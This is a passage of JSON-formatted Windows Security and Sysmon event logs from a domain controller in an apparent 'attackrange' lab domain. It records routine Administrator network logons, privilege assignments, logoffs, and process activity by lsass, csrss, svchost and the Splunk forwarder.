11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222229,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8CB0C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{D470DB98-0FD9-B098-795E-76B3533DE614}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8cb0c","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{D470DB98-0FD9-B098-795E-76B3533DE614}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222230,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8CB0C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8cb0c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222231,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8800B\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8800b","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222232,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87D32\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x87d32","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222233,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8CB0C\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8cb0c","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.371\r\nProcessGuid: {90617006-4175-5F2D-0000-00108BCB0800}\r\nProcessId: 1188\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.371","ProcessGuid":"{90617006-4175-5F2D-0000-00108BCB0800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4175-5F2D-0000-00108BCB0800}\r\nTargetProcessId: 1188\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4175-5F2D-0000-00108BCB0800}","TargetProcessId":"1188","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4175-5F2D-0000-00108BCB0800}\r\nTargetProcessId: 1188\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4175-5F2D-0000-00108BCB0800}","TargetProcessId":"1188","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 